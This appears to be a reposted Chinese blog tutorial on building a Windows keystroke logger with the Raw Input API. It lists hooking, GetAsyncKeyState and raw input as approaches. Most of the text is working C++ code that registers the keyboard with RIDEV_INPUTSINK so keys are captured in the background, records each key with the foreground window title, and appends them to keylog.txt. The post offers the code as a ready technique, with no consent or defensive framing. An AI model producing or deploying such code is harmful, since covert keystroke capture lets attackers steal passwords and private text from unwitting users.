按键记录——利用原始输入模型
Posted ndyxb
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了按键记录——利用原始输入模型相关的知识,希望对你有一定的参考价值。
前言:
在用户层上,实现按键记录的方法也很多,常见的有3种方式,具体如下:
-
- 利用全局键盘钩子。程序设置全局键盘钩子,从而捕获按键消息,进行记录
- 利用GetAsyncKeyState函数。该函数可以判断按键状态,根据是否为按下状态来判断用户是否进行了按键操作,从而记录
- 利用原始输入模型,直接从输入设备上获取数据,从而记录按键信息
在上述3种实现方法中,利用原始输入模型获取按键记录的方法更为底层更有效,功能也更加强大。下面就使用这种方法,默认情况下,应用程序不接收原始输入。要想接收设备原始输入WM_INPUT的消息,应用程序必须使用RegisterRawInputDevices注册原始输入设备
实现过程:
(1).调用RegisterRawInputDevices注册原始输入设备
(2).获取原始输入数据
(3).保存按键信息
实现代码:
// 注册原始输入设备 BOOL CFunction::Init(HWND hWnd) { // 设置 RAWINPUTDEVICE 结构体信息 RAWINPUTDEVICE rawinputDevice = { 0 }; rawinputDevice.usUsagePage = 0x01; rawinputDevice.usUsage = 0x06; rawinputDevice.dwFlags = RIDEV_INPUTSINK; rawinputDevice.hwndTarget = hWnd; // 注册原始输入设备 BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice)); if (FALSE == bRet) { MessageBox(_T("RegisterRawInputDevices Error")); return FALSE; } return TRUE; } void CFunction::OnRawInput(UINT nInputcode, HRAWINPUT hRawInput) { // 该功能要求使用 Windows XP 或更高版本。 // 符号 _WIN32_WINNT 必须 >= 0x0501。 // TODO: 在此添加消息处理程序代码和/或调用默认值 GetData(hRawInput); CDialogEx::OnRawInput(nInputcode, hRawInput); } // 获取原始输入数据 BOOL CFunction::GetData(HRAWINPUT lParam) { RAWINPUT rawinputData = { 0 }; UINT uiSize = sizeof(rawinputData); // 获取原始输入数据的大小 ::GetRawInputData(lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER)); //如果是键盘的原始输入 if (RIM_TYPEKEYBOARD == rawinputData.header.dwType) { // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) || (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)) { // 记录按键 SaveKey(rawinputData.data.keyboard.VKey); } } return TRUE; } // 保存按键信息 void CFunction::SaveKey(USHORT usVKey) { char szKey[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szText[MAX_PATH] = { 0 }; FILE *fp = NULL; // 获取顶层窗口 HWND hForegroundWnd = ::GetForegroundWindow(); // 获取顶层窗口的标题 ::GetWindowTextA(hForegroundWnd, szTitle, 256); // 将虚拟键码转换成对应的ASCII码 ::strcpy_s(szKey, GetKeyName(usVKey)); // 构造按键记录信息字符串 ::sprintf_s(szText, "[%s] %s ", szTitle, szKey); // 打开文件写入按键记录数据 ::fopen_s(&fp, "keylog.txt", "a+"); if (NULL == fp) { MessageBox(_T("fopen_s")); return; } ::fwrite(szText, (1 + ::strlen(szText)), 1, fp); ::fclose(fp); }
以上是关于按键记录——利用原始输入模型的主要内容,如果未能解决你的问题,请参考以下文章
Swift新async/await并发中利用Task防止指定代码片段执行的数据竞争(Data Race)问题